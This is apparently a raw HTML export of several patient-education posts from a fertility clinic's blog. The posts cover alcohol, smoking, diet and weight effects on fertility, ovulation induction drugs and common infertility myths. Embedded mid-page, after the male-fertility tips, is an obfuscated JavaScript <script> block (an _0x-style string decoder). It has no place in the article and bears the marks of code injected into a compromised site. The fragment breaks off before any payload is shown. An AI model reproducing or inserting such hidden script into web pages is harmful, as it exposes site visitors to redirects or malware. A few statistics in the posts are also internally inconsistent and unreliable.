<a href=\"http://nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\"><strong>IVF cycle</strong></a><a href=\"http://nufertility.com/ivf-icsi\">.</a> It reduces the number of eggs retrieved, causes failure of fertilization and decreases the implantation potential of the embryos.\r\n\r\nThere are numerous factors which affect IVF success, some are non-modifiable such as age, chromosomal abnormalities, genetic factors and some are modifiable such as alcoholism and smoking. Not much can be done about the non-modifiable risk factors. However, it is advisable to quit drinking alcohol at least 3-4 months prior to IVF.\r\n\r\n<strong>Effects on alcohol in pregnancy</strong>\r\n\r\nAlcohol intake during pregnancy affects the developing fetus because alcohol easily crosses the placenta. It increases the risk of miscarriage And causes fetal alcohol syndrome characterized by facial dysmorphism, abnormal brain development, decreased weight and length of the fetus.\r\n\r\n<strong>To conclude, alcohol has a devastating effect in your fertility journey. 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In the most recent report, an international study group performed a systematic analysis of the current trends in sperm counts. This comprehensive study involved 42,935 men with semen samples spanning over 40 years. They reported a significant decline of 50– 60% in sperm counts amongst men from North America, Europe, Australia and New Zealand. This latest finding has sparked even greater concern over the reasons behind the apparent decline in the sperm count of Western men.\r\n\r\n<!--more-->\r\n\r\nThe most important semen parameters include: Semen volume, <a href=\"http://www.nufertility.com/male-infertility-evaluation-and-treatment\" target=\"_blank\" rel=\"noopener\"><strong>Sperm count</strong></a>, Sperm motility, Sperm morphology and Sperm DNA fragmentation.\r\n\r\n<strong>Following are the few tips to boost Male Fertility: </strong>\r\n<strong>1. Quit Smoking:</strong>\r\n\r\nCigarette smoke contains &gt;7000 chemicals, including highly carcinogenic tobacco-specific compounds. Cigarette smokers have increased exposure to hazardous substances such as tar, nicotine (which is highly addictive), carbon monoxide, and heavy metals (e.g. cadmium and lead)\r\n\r\nMoreover, tobacco smoke contains Reactive oxygen species (ROS) at levels that can overcome the inherent antioxidant defenses. Increased seminal levels of ROS in smokers expose sperm to oxidative stress, consequently impairing sperm function and ultimately compromising male fertility.\r\n\r\nA large meta-analysis involving males from 26 countries concluded that smoking causes a decline in sperm quality in both fertile and infertile men. Sperm count in male smokers was reported to be typically 13–17% lower than that of non-smokers. Moreover, cigarette smoking has been negatively associated with sperm count, motility, and morphology. The decline in semen quality was found to be more marked in heavy (&gt;20 cigarettes/day) and moderate (10–20 cigarettes/day) smokers compared to mild smokers (1–10 cigarettes/day).\r\n\r\nWith paternal smoking being a significant risk factor for<a href=\"http://nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\"> <strong>in-vitro fertilization (IVF)</strong></a> and intracytoplasmic sperm injection (ICSI) failure, paternal smoking could perhaps contribute to decreased assisted reproductive technology (ART) success rates as much as maternal smoking or more.\r\n\r\nEvery additional year following the male partner’s smoking cessation reduces the risk of ART failure by 4%.\r\n\r\n<strong>2. Restrict Alcohol intake: </strong>\r\n\r\nAn Indian study on the male partners of couples facing primary infertility found that abnormal sperm shape was present in 63% and 72% of males who drank alcohol moderately (40–80 g/day) and heavily (&gt;80 g/day), respectively. None of the heavy alcohol drinkers had normal sperms and most had less sperm count, which is suggestive of progressive testicular damage in relation to increasing daily alcohol intake\r\n\r\nAlcohol appears to interfere with the production of various hormones including testosterone. As a result, the production, morphological development, and maturation of sperm could be impaired.\r\n\r\nAlthough the effects of alcohol on male reproductive function are dependent on the intake amount, a threshold amount of alcohol beyond which the risk of male infertility increases has not yet been determined.\r\n\r\n<strong>3. Moderate exercise:</strong>\r\n\r\nPhysical activity programs improve health and the quality of life, but excessive or exhaustive exercise exposure can lead to negative side effects, with one of the most recently recognized being possible fertility issues in both females and males when training load is elevated and intense, though this is not universally recognized.\r\n\r\nPhysical activity (exercise) could exert beneficial or detrimental effects depending on the several inherent exercise regimen parameters: type, intensity, volume, objective, or organization. Regrettably, there is still lack of consensus on these effects.\r\n\r\nRecently a European study group performed a 16-week aerobic training program in a treadmill, three sessions per week, consisting of a warm-up (10-15 minutes), 35-50 minutes treadmill exercise (increasing five minutes per four weeks) at a work intensity of 50-65% of peak heart rate (increasing a 5% per four weeks) and cooling-down (5-10 minutes). Favorable improvements in semen parameters, sperm DNA integrity and pregnancy rate were noted in this cohort of infertile patients.\r\n\r\n<strong>4. Balanced Diet: </strong>\r\n\r\nVegetables and fruits, fish and poultry, cereals and low-fat dairy products were amongst the foods positively associated with sperm quality. However, diets consisting of processed meat, full-fat dairy products, alcohol, coffee, and sugar-sweetened beverages were associated with poor semen quality and lower fertility rates\r\n\r\nTo begin with, the practice of substituting processed red meats with fish may have a positive impact on sperm counts and morphology.\r\n\r\nSoy, legumes, soy-based foods, soya beans, oils, and seeds have been shown to adversely affect multiple semen parameters.\r\n\r\nA recent systematic review involving 19,967 men found that in most of the studies, semen parameters were affected by cola-containing beverages and caffeine-containing soft drinks, but not by caffeine intake from mainly coffee, tea and cocoa drinks.\r\n\r\n<strong>5. Avoid Genital heat stress:</strong>\r\n\r\nThe testes are located outside the body cavity and have a counter-current heat exchange system resulting in temperatures 2- 4-degree Celsius cooler than body core temperature. Genital heat stress resulting from increased scrotal temperature is a substantial risk factor for male infertility.\r\n\r\nProlonged hours of sitting or exposure to radiant heat, varicocele (enlarged veins in the scrotum) and undescended testes (testis in abnormal position) can all lead to testicular heat stress. Elevated scrotal temperatures lead to sperm growth arrest, oxidative stress, and sperm DNA damage.\r\n\r\nThe use of polyester-lined athletic undergarment supports, repeated usage of sauna or steam room has been discouraged.\r\n\r\n<strong>6. Avoid recreational drugs:</strong>\r\n\r\nCannabis or commonly referred to as marijuana is the most abused illicit drug globally. Regular marijuana smoking (more than once weekly within the last 3 months) was found to lower sperm concentration and total sperm count amongst young men, and this effect is further exacerbated when marijuana is used in combination with other recreational drugs\r\n\r\n<strong>7. Watch your weight:</strong>\r\n\r\nOverweight (Body mass index 25–30) and obese (BMI &gt;30) males are associated with a decrease in sperm quality and a greater risk of infertility. The presence of excess white fat tissue in obese individuals causes increased conversion of testosterone (male sex hormone) to estrogen (female sex hormone). These effects result in secondary hypogonadism (low testosterone) and impaired sperm production.\r\n\r\nObese men who attempt assisted reproductive techniques (ART) have reduced rates of embryo development pregnancy, and live-birth rates.\r\n\r\n<strong>8. Good sleep :</strong>\r\n\r\nEither excessive or restricted sleep is associated with a reduction of semen quality suggesting that improper sleep duration may impair semen quality. One of the recent Chinese study involving 796 individuals suggested that 7–7.5 hours/day is the recommended standard for good fertility status. Those who slept for more than 9 hours/d or less than 6.5 hours/d had lower semen parameters.\r\n\r\n<strong>Nutrition supplements : </strong>\r\n\r\nThere are specific effective antioxidant medications to improve sperm health. They include carnitine, vitamin C, glutathione, selenium, and coenzyme Q10. These medications are best taken after an initial consultation with the Andrologist or your primary treating physician.\r\n\r\n<strong>10. Avoid anabolic steroid intake:</strong>\r\n\r\n56% of users of anabolic steroids have never revealed their steroid use to a physician. Most steroid abusers are young men in their reproductive years who may be unaware of the reproductive consequences of their actions. Anabolic steroids are commonly taken after visualizing the commercial ads on media to improve sexual pleasure or by the insistence of fitness trainers.\r\n\r\nExternal hormonal steroids stop sperm production by suppressing the hormonal pathways and decreasing the internal testosterone levels.\r\n\r\nLow testosterone associated with steroid abuse is usually reversible within 3 to 6 months of discontinuation, but the recovery has been reported to take as many as 3 years and occasionally may be irreversible.\r\n\r\n<strong>11. Sperm cryopreservation:</strong>\r\n\r\nThis is an option where a person can preserve his sperms prior to chemotherapy or radiotherapy in testis cancer, or if not planning to have children at the moment but wants to have after few years.\r\n\r\n<strong>“Do not hesitate to consult a <a href=\"http://www.nufertility.com/dr-pramod-krishnappa-andrologist\" target=\"_blank\" rel=\"noopener\">Uro-Andrologist</a> if failure to achieve a clinical pregnancy even after 12 months of regular unprotected sexual intercourse”</strong>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Despite this, it remains a taboo. It affects the couple psychologically, economically and socially. They avoid meeting people as “children” will be a topic of conversation. Everybody you meet wants to suggest options. Seeing an infertility clinic is one of them. With the word “<a href=\"http://www.nufertility.com/\" target=\"_blank\" rel=\"noopener\"><strong><em>infertility clinic</em></strong></a>” many couples freak out.\r\n\r\n<!--more-->\r\n\r\nThey feel that it\'s not such a big problem “yet” that they should visit our an infertility specialist. Its the last resort left! Why should they go for an IVF procedure? They will try for a few more years and get pregnant naturally, but how much are few more years?\r\n\r\n85% of the couples conceive within the first year of regular intercourse, another 5% conceive within the next 2 years. So, its better to see a fertility expert after one year of unprotected intercourse and get yourself evaluated. All you need to get pregnant is a good sperm capable fertilizing an egg and forming a healthy embryo. The quality and quantity of sperm/eggs also decrease with advancing male/female age.\r\n\r\nThere are various services which are catered to at an infertility clinic. It\'s a misconception that IVF treatment is the only one. In fact, it is just one of the multiple treatment services offered at the clinic. I have listed a few other services.\r\n\r\nThere is an infertility specialist in the clinic. They will analyse the reason for infertility by taking a detailed history,  perform a few blood tests and scans. The male partner must also be evaluated as in 50%, there is a male factor contributing to infertility. Semen analysis is an important and initial test performed. According to the cause of infertility, there are various treatment options available.\r\n\r\nAlong with urbanisation comes the burden of lack of time. This applies to the day-to-day activities which our ancestors did not have to think about, to dedicate their time to. It happened naturally! Hence, sometimes a simple timing of intercourse in the cycle may help you conceive. Your infertility specialist at the clinic can help you with this.\r\n\r\nThere are certain fertility enhancing surgeries which increase the chances of conception. They may range from being painless procedures not requiring anesthesia to daycare procedures to laparoscopic surgeries requiring 2-3 days admission.\r\n\r\nIf you are not ovulating, medications can help you ovulate. This is known as ovulation induction. This starts at the beginning of your cycle; ideally day 2-5. It can be combined with timed intercourse. The <a href=\"http://www.nufertility.com/our-team\" target=\"_blank\" rel=\"noopener\"><strong>infertility specialist</strong></a> can help you figure out the time of ovulation by ultrasound scans and blood tests, if necessary. Some women may also need medication in the later half of their cycles to help them conceive if they have a condition called luteal phase defect.\r\n\r\nIf there is a mild problem in the sperm, be it in the form of decreased number, motility or quality, an Intrauterine Insemination (popularly called IUI) may help you get pregnant. In this procedure, your infertility specialist will monitor your ovulation. At a time when eggs are available for fertilization in the female genital tract, the processed semen is inserted directly into the uterine cavity. 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This applies to reproductive health as well. Passive smoking is equally harmful, but not many women are aware of this. One survey of female hospital employees found that less than 1 in 4 knew that smoking could hurt their fertility or increase the risk of miscarriage.\r\n\r\n<!--more-->\r\n\r\nSmoking may be responsible for<a href=\"http://www.nufertility.com/infertility-evaluation-and-workup\" target=\"_blank\" rel=\"noopener\"><strong><em> fertility issues</em></strong></a> in as many as 13% of couples. According to many studies on the subject, 10 or more cigarettes per day will significantly harm your ability to conceive.\r\n\r\nThis doesn\'t mean smoking fewer cigarettes per day would not lead to lowered fertility. But it is clear that smoking 10 cigarettes or more a day increases your risk of developing problems.\r\n\r\nIt is crucial that both parents stop smoking before exploring any fertility treatments.\r\n\r\n<strong>Smoking and Fertility Problems</strong>\r\n\r\nSmoking and infertility go hand in hand.\r\n\r\n<strong>Smoking can:</strong>\r\n\r\n• Problems with the fallopian tubes including blockages (preventing egg and sperm from meeting) and an increased risk of ectopic pregnancy.\r\n\r\n• Cervical changes, specifically an increased risk of developing cervical cancer.\r\n\r\n• Damage to the eggs as they develop in the ovaries. Smoking may decrease the total number of eggs a woman has in her ovaries and cause the ovaries to age prematurely. Toxins in cigarettes may also lead to DNA damage to the ovarian follicles, where the eggs normally develop to maturity. This premature aging of the ovaries and decrease in eggs may lead to earlier menopause, as much as four years earlier than normal.\r\n\r\n• Increased risk of miscarriage, possibly due to damaged eggs, damage to the developing fetus, or unfavorable changes in the uterine lining, which may make healthy implantation of an embryo less likely. Men and women hoping to become parents must make serious efforts to stop smoking in order to get pregnant and have healthy babies.\r\n\r\n<strong>Smoking and Fertility Treatments</strong>\r\n\r\nSmoking may affect your success rates when undergoing these fertility treatments. Studies show that smokers are less likely to get pregnant with Assisted Reproductive Technology (ART) procedures like IVF. While ART does work for some women that smoke, smokers are more likely to miscarry after ART than their non-smoking peers. In fact, smokers are more likely to miscarry than other women, whether they use ART or not. Overall, smokers tend to take twice as long to get pregnant with ART than non-smokers.\r\n\r\n<strong>Smoking and Fertility Drugs:</strong>\r\n\r\nThe fertility hormones must work in harmony to make a baby. Yet chemicals in cigarettes upset your natural hormonal balance, making it harder to get pregnant.\r\n\r\nAs a result, smokers may be more likely to need fertility drugs like Clomid and other <em><a href=\"http://nufertility.com/ovulation-induction\" target=\"_blank\" rel=\"noopener\"><strong>ovulation-inducing medications </strong></a></em>to help them conceive. And, smokers often end up needing more medication than their non-smoking peers, which can be expensive and a burden.\r\n\r\n<strong>Smoking and Pregnancy:</strong>\r\n\r\nSmoking during pregnancy is associated with miscarriage, low birth weight, and premature birth. Another important reason to quit smoking before you conceive is to reduce your risk of birth defects. Smoking is associated with the following birth defects.\r\n\r\n• Heart and cardiovascular defects\r\n\r\n• Limb defects (where an arm or leg fails to grow fully or is completely missing)\r\n\r\n• Missing (or extra) fingers or toes\r\n\r\n• Clubfoot\r\n\r\n• Cleft Lip or Pallet\r\n\r\n• Skull Malformations\r\n\r\n• Facial and Eye Deformations\r\n\r\n• Hernia\r\n\r\n• Gastrointestinal Defects\r\n\r\n• Anal Defects\r\n\r\n• Undescended Testes\r\n\r\nA study also found that babies of smokers were more likely to have two or more congenital defects when compared to the babies of non-smokers.\r\n\r\nIt’s never too late to quit smoking. While smoking can lead to some long-term fertility damage, studies have also shown that fertility rates can improve after one year of quitting.\r\n\r\nIf your partner is also a smoker, consider quitting together. His second-hand smoke may lower your fertility and threaten your pregnancy, and some studies have found that smoking lowers male fertility as well. This is not to mention the health problems that can arise in babies and children who are exposed to second-hand smoke. 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This plays a major role if you planning to conceive. Keep stress at bay; try spending time with family and friends. Read books and prioritize your commitments.\r\n\r\n<!--more-->\r\n\r\n<em><a href=\"http://nufertility.com/infertility-evaluation-and-workup\" target=\"_blank\" rel=\"noopener\"><strong>Female infertility</strong></a></em> is still easier to understand and cure because in majority of the cases the problem is known.\r\n\r\n<strong>Address your nutritional deficiencies</strong>\r\n\r\nSee what you not eating and keep a check on what you eating. Know the best fertility diets and best food. Check with your doctor what you need to avoid in your meal. Ensuring a proper intake has much to do with enhancing fertility.\r\n\r\n<strong>Tubal disease</strong>\r\n\r\nApprox 15%-18% of infertility cases is due to tubal disease which means your fallopian tubes are blocked, where you need to undergo some tests.\r\n\r\n<strong>Age matters for infertility</strong>\r\n\r\nAge has direct and distinct correlation with infertility. Body strength, resistance, immunity and hormonal levels are at the peak during young age and hence it is important to keep this factor under consideration. The vitality and sustainability of our body gets declined as we go old. Therefore it is always better to start infertility related treatment at the early age.\r\n\r\n<strong>Sleep well</strong>\r\n\r\nThere have been studies that clearly show the correlation of lack of sound sleep and infertility. So you must be aware in case you are a frequent party animal. To be awake late night for a long time makes fundamental changes in the hormone levels thereby increasing the chances of infertility. Scientists say that people having inadequate sleep for a longer time face various health related problems, including low fertility rates. It affects the hormonal balance in the body that is one of the major causes for infertility.\r\n\r\n<strong>Diagnosis and treatment of female infertility</strong>\r\n\r\nDiagnosing the root cause and deciding the treatment is the turning point in the whole process and experience of handling a wide variety of cases by the experts plays a major role in it.\r\n\r\n<strong>Treatment of female infertility</strong>\r\n\r\nThe experts usually go by an elimination method. The first step will be to identify where ovulation is normal or it is absent at all. Checking by ovulation kit, recording body temperature or checking the level of progesterone is done to determine this. They perform multiple rounds of ultrasound tests as well. If the ovulation is not normal, then drugs are prescribed to stimulate the ovulation. In case ovulation appears to be normal, then experts check the other possibilities of antibodies responsible for destroying sperms before the fertilization or obstacles in the fallopian tube. The treatment normally involves medication, microsurgery or a combination of both.\r\n\r\n<strong>Diagnosis and treatment of male infertility</strong>\r\n\r\nMale fertility is extremely complex to diagnose and cure. At International Fertility Centre, we try to find out the fundamental reason by various tests and research. Semen samples are tested in the laboratory to know the sperm count, sperm strength and other factors. Hormonal levels are checked to determine the testosterone levels. Physiological problems like defects in genital organs, STD or VD, retrograde ejaculation are also checked. Here we take all the possible efforts to make pregnancy successful and bring the little angel in this world.\r\n\r\n<strong>Strain in the relationship</strong>\r\n\r\nDealing with infertility becomes further complicated with the <em><a href=\"http://www.nufertility.com/blog/impacts-of-infertility-on-the-couples-relationships/\" target=\"_blank\" rel=\"noopener\">strain in relationship between the couple</a></em>. Both partners must keep the relations absolutely tuned and no internal conflicts or friction should arise. This is the time of providing complete physical, mental and emotional support to each other. For male partner, the responsibility gets further increased because female partner has to undergo a lot of physical pain and suffering. Treatment process has multiple cycles of IVF pregnancy, various tests and procedures that cause tremendous pressure on the female. She has to be understood with sympathy and emotional way to avoid mental trauma. Training and application of certain mental and psychological techniques might help a lot.\r\n\r\n<strong>Known as unexplained infertility</strong>\r\n\r\n(where the cause of infertility is not known or cannot be diagnosed), such a situation can often be quite frustrating for everyone involved. Unfortunately, it is quite common and can sometimes hinder the fertility treatment process. Up to 10% of couples who visit a fertility clinic for treatment receive a diagnosis of unexplained fertility. Always remember that infertility can be cured like any other disease and by being fit you can fight infertility.\r\n\r\n<strong>Fact #1 Overall good health isn\'t necessarily a sign that you (or your partner, for that matter) are fertile.</strong>\r\n\r\nYou exercise regularly, eat a nutritious diet, and have enviable cholesterol and blood pressure levels. That’s great, but it doesn’t mean you’re fertile. One in 10 healthy couples of reproductive age will experience fertility problems. The causes are variable and equally attributed one-third of the time to the female, one-third of the time to the male, and one-third to unidentifiable reasons or to both partners. Unfortunately, the biggest factor that impacts fertility is something none of us can control: age, says Sam Thatcher, MD, a <em><a href=\"http://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>reproductive endocrinologist</strong> </a></em>at the Center for Applied Reproductive Science in Johnson City, Tennessee, and author of Making a Baby: Everything You Need to Know to Get Pregnant (Ballantine, 2000).\r\nFor healthy women, fertility peaks in their mid 20s, begins declining at age 27, then nosedives around age 37. If you are in your mid 30s or older and trying to conceive, you need to be very pointed in your efforts, Dr. Thatcher advises. That means figuring out when you’re ovulating and having sex at those optimal times. And if you’re over 35 and concerned about your fertility, don’t settle for a gynecologist saying “Just give it time,” cautions Dr. Thatcher. The American Society of Reproductive Medicine advises women age 35 or older to consult a fertility specialist if they fail to get pregnant after six months of unprotected intercourse. Women ages 37 to 40 should wait no longer than three months.\r\n\r\n<strong>Fact #2 Your weight affects your ability to conceive.</strong>\r\n\r\nSurprise! Twelve percent of all infertility cases are rooted in weight issues. If your body is chronically malnourished or overexercised, you can’t menstruate, since a minimum of 22 percent body fat is necessary for normal ovulation and reproductive competence. On the other side of the scale, being overweight can alter hormone chemistry and help prevent ovulation. The good news is that shedding or gaining pounds can easily remedy weight-related infertility; more than 70 percent of women conceive spontaneously once they reach healthy weight parameters. Doctors consider a body mass index (BMI) between 19 and 25 ideal. (BMI = weight in pounds divided by height in inches, divided by height in inches again, multiplied by 703. Example: 135 pounds, divided by 66 inches, divided by 66 inches, multiplied by 703 = BMI 22.)\r\nWeight not only potentially impacts fertility but pregnancy as well. According to the March of Dimes, overweight women who become pregnant are at greater risk for pregnancy-related high blood pressure and diabetes, and underweight women are more likely to deliver a low birth weight baby. If you are at a reasonable weight and trying to conceive, now is not the time to begin training for a marathon or go on a crash diet.\r\n\r\n<strong>Fact #3 Sexual positions -- coital or postcoital -- don\'t affect your chances of conception.</strong>\r\n\r\nNo study has confirmed that one position is more effective than any other in achieving pregnancy. In fact, sperm can be found in the cervical canal mere seconds after ejaculation, regardless of position. Of course, aiming for the deepest penetration and maximum cervical contact makes sense, but the optimal position varies because every woman’s body is different.\r\nAnd since sperm start swimming immediately after ejaculation, it isn’t necessary for a woman to become a gymnast or a yoga master to make a baby. There may be a little advantage to lying around after intercourse to keep the sperm inside you, but there’s absolutely no value in standing on your head, says Dr. Thatcher. So savor the mood however you please.\r\n\r\n<strong>Fact #4 The biological clock ticks for men too.</strong>\r\n\r\nThe notion that age-related fertility decline is only a female factor has been debunked by a recent British study. Researchers at Bristol and Brunel Universities evaluated 8,500 couples to determine the impact of age on the length of time it took to conceive. They discovered that while only 8 percent of men younger than 25 fail to impregnate their partner after a year of trying, that number grows to 15 percent after age 35. Despite other factors, such as the fact that frequency of intercourse drops off with age, the study suggests that paternal age, too, may be a consideration for couples struggling with infertility.\r\n\r\n<strong>Fact #5 Ovulation day is not necessarily the best day to try to conceive a child.</strong>\r\n\r\nSperm can live in the female reproductive tract for up to three days after intercourse, so having sex every day, or even on ovulation day, is not necessary. What is critical is knowing when you are fertile. According to data from the AIA, 20 percent of couples seeking infertility treatment are not timing intercourse correctly.\r\nA woman is fertile for a period of six days, the five days leading up to ovulation (when the egg is released from the ovary) and the day of ovulation. A study by the National Institute of Environmental Sciences found, much to the researchers’ surprise, that a woman ‘s capacity to conceive seems to end on ovulation day. So if women charting their basal body temperature are waiting for their temperature to go up to have intercourse, they’re too late, warns Melissa Holmes, MD, associate professor of obstetrics and gynecology at the Medical University of South Carolina in Charleston. She recommends using ovulation kits because they let you know when you’re about to ovulate. Having sex on the two days prior to ovulation offers the greatest chance of conception.\r\n\r\n<strong>Fact #6 However brief your partner\'s particular choice of underwear, it\'s unlikely that it will impact his fertility.</strong>\r\n\r\nUp until several years ago, future dads were discouraged from wearing briefs because their tight fit held the testicles close to the body, raising scrotal temperature and causing a decrease in sperm count or concentration. And while it is true that very high temperatures can be harmful to sperm, choice of underwear does not heat things up enough to make an impact, according to two recent studies. So if briefs (or bikinis, for that matter) are more likely to heat things up between you and your partner, stock up on those Jockeys!\r\n\r\n<strong>Fact #7 Birth control choices have fertility implications.</strong>\r\n\r\nIt sounds like a cruel joke, but it’s true, says Dr. Holmes. The method of contraception that a woman has used may also impact conception. Women who used progesterone injections of Depo-Provera may have to wait for normal fertility to resume after they’ve stopped using the drug for six to nine months or even a year. It may take women who use Lunelle, another injectable form of birth control, six months to a year to have a normal menstrual and ovulation cycle.\r\nAnd while many women believe that the effects of the pill linger long after they stop using it, that’s yet another myth. Furthermore, it’s not necessary to wait several cycles to “wash out” oral contraceptives before getting started. In fact, immediately after the pill is stopped, there can be an ovulatory rebound effect, resulting in a super-fertile period. Despite the increased chances of conceiving right after stopping the pill, Dr. Holmes still recommends most of her patients go off it two or three months prior to trying to conceive. That way, you can more predictably determine the length of your cycle, identify your fertile days, and be able to better date when you conceived once you actually do get pregnant.\r\nOral contraceptives also help to preserve fertility — pill users have a decreased risk of illnesses that harm fertility, such as endometriosis, PID, and ectopic pregnancy. The bottom line? Take stock of your birth control choices before you decide you want to get pregnant.\r\n\r\n<strong>Fact #8 Specific foods or diets do not have a large impact on fertility.</strong>\r\n\r\nThere is no magic diet that will increase the chances of sperm meeting egg; the best thing you can do is eat a diet high in nutrients and fiber and cut down on your consumption of highly processed foods. It’s also important for couples trying to conceive to get plenty of folic acid, which helps prevent birth defects and can improve sperm count.\r\nAnd while you may have heard that caffeine can hamper conception, don’t toss out your favorite mug just yet. Though there have been reports that women who drank more than one cup of coffee daily were half as likely to conceive per cycle as those who drank less, researchers acknowledge that delayed conception could have been attributed to other factors, and subsequent studies have failed to find a significant link between moderate amounts of caffeine and fertility.\r\nSome research has shown that zinc may improve sperm count, but don’t go overboard on any one nutrient. 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brain. These cause a small cyst or follicle to grow on the ovary in which an egg develops. Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilised by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period, but can vary between 11 – 16 days.\r\n\r\n<!--more-->\r\n<strong>What is ovulation induction?</strong>\r\n\r\n<a href=\"http://www.nufertility.com/ovulation-induction\" target=\"_blank\" rel=\"noopener\"><em><strong>Ovulation induction</strong></em></a> is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or <a href=\"http://www.nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\"><em>artificial insemination (IUI)</em></a>. It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.\r\n\r\n<strong>Who needs ovulation induction?</strong>\r\n\r\nIf a woman is not ovulating by herself then ovulation induction may be required. The most common causes of failure to ovulate are\r\n<ul>\r\n 	<li>Stress</li>\r\n 	<li>Weight fluctuations</li>\r\n 	<li>Polycystic Ovarian Syndrome (PCOS)</li>\r\n</ul>\r\nOther causes may include disorders of the pituitary gland, thyroid gland and raised prolactin levels. In some cases failure of ovulation is due to the ovarian failure. This may occur following treatment for cancer or may be the start of the menopause – premature ovarian failure.\r\n\r\n<strong>What is clomiphene citrate?</strong>\r\n\r\nClomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti estrogen and the most commonly used drug for inducing ovulation.\r\n\r\n<strong>How should Clomiphene be taken?</strong>\r\n\r\nClomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.\r\n\r\n<strong>What are the potential side effects of clomiphene?</strong>\r\n\r\nBloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.\r\n\r\n<strong>What are the chances of conceiving with clomiphene?</strong>\r\n\r\nFor women whose only infertility problem is anovulation, up to 80% of patients will ovulate using this medication and 50% of those will conceive. Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.\r\n\r\n<strong>What are gonadotrophins?</strong>\r\n\r\nGonadotropins are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.\r\n\r\n<strong>How will the cycle be monitored while on ovulation induction drugs?</strong>\r\n<strong>Ultrasound:</strong>\r\n\r\nThe doctor will often use one or more ultrasound scans to obtain an actual image of the ovaries and to regularly monitor follicle growth in the ovary beginning on or before day eight of the cycle, as follicles mature, they grow larger. Through ultrasound, the doctor will observe the effects of treatment on follicle growth and size, and decide when to give hCG injection (human chorionic gonadotrophin) to assist with the release of the egg.\r\n\r\n<center><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/i6.png\" /></center><b>Blood tests:</b>\r\n\r\nTesting the blood every few days for oestrogen levels can monitor the response to treatment with FSH therapy.\r\n\r\nYour progesterone level is usually checked six to eight days after you ovulate (about day 21 of a day 28 cycle). This is because progesterone levels rise following ovulation, peaking five to nine days after ovulation. This is known as your luteal phase. After the midluteal period, your serum progesterone levels will begin to fall if the egg is not fertilized.\r\n\r\n<strong>What are the side effects of gonadotropins?</strong>\r\n\r\nThere are potential risks and complications associated with the use of gonadotropins. Side effects should be discussed prior to taking these medications. Despite intensive monitoring, up to 30% of gonadotropin-stimulated pregnancies are multiple. Of the multiple pregnancies, about two-thirds are twins and one-third are triplets or more. Premature delivery is a known risk for multiple pregnancies. The greater the number of fetuses in the uterus, the greater the risk of premature delivery. Premature delivery can subject the newborn to complications such as severe respiratory distress, intracranial hemorrhage, infection, cerebral palsy, and death. Some patients pregnant with triplets or more choose to undergo a procedure known as multifetal pregnancy reduction in an effort to decrease these risks.\r\n\r\nIn addition to problems associated with high order multiple gestation, another serious side effect of gonadotropin therapy is ovarian hyperstimulation syndrome (OHSS), in which the ovaries become swollen and painful. In severe cases, fluid accumulates in the abdominal cavity and chest. In about 2% of gonadotropin cycles, hyperstimulation may be severe enough to require hospitalization. Careful monitoring of ovulation induction cycles with the use of ultrasound and/or measurement of serum estradiol levels, in conjunction with adjustment of gonadotropin dosage, will enable the physician to identify risk factors and prevent most cases of severe OHSS. When serum estradiol levels are rapidly rising and/or too high, or an excessive number of ovarian follicles develop, one method of best prevention is to withhold further gonadotropin stimulation and delay hCG administration until estradiol levels plateau or decline. Alternately, hCG can be withheld so that ovulation fails to occur, thereby lessening the severity of OHSS.\r\n\r\n<strong>When should I test for pregnancy?</strong>\r\n\r\nMost menstrual cycles are approximately 28 days long and ovulation occurs 14 days prior to the onset of menstrual flow. If you are pregnant the menstrual flow will not come. Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.\r\n\r\nIf your period does not come, continue to test for pregnancy every second day. Contact your doctor if your menstrual period does not come 35 days after your last period and the pregnancy test remains negative. Please also contact your doctor if you become pregnant! Please remember you may not conceive during the first cycle. Indeed, most patients require a few months of clomiphene treatment and sometimes dosage adjustments are required.\r\n\r\n<strong>Reference:</strong>\r\n\r\nvulation Problems and Infertility: Treatment of ovulation problems with Clomid and other fertility drugs Advanced<a href=\"https://www.nuhospitals.com/\" target=\"_blank\" rel=\"noopener\"> <em>Fertility Center</em></a> of Chicago. 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In fact, approximately one out of every seven couples trying to conceive today experience difficulties with infertility. The Centers for Disease Control and Prevention (CDC) reports that 12 percent of women in the U.S. ages 15 to 44 have difficulty getting pregnant or carrying a pregnancy to term. That’s nearly one in five women in the U.S. So it’s likely that you know someone struggling with<strong> <a href=\"http://www.nufertility.com/\" target=\"_blank\" rel=\"noopener\"><em>infertility</em></a></strong>, whether they choose to share it or not.\r\n\r\n<!--more-->\r\n\r\n<strong>Myth 02: Stress causes infertility.</strong>\r\n\r\nWomen struggling with infertility are often told, “Just relax and it will happen!” But it’s not as simple as that. Stress doesn’t cause infertility, but it can delay ovulation through hormone suppression. On the contrary, infertility might contribute to stress, anxiety, and depression in couples trying to conceive.\r\n\r\n<strong>Myth 03: Only women with \"regular\" cycles have normal fertility.</strong>\r\n\r\nResearchers at the University of Utah Office of Cooperative Reproductive Health found that the 28-day length represents only about 13 percent of cycles. The distribution of cycle length looks like a bell curve, centeredaround the 28-day mark, which means that there is a lot of variability in average cycle length.\r\n\r\n<strong>Myth 04: People who have children can\'t be 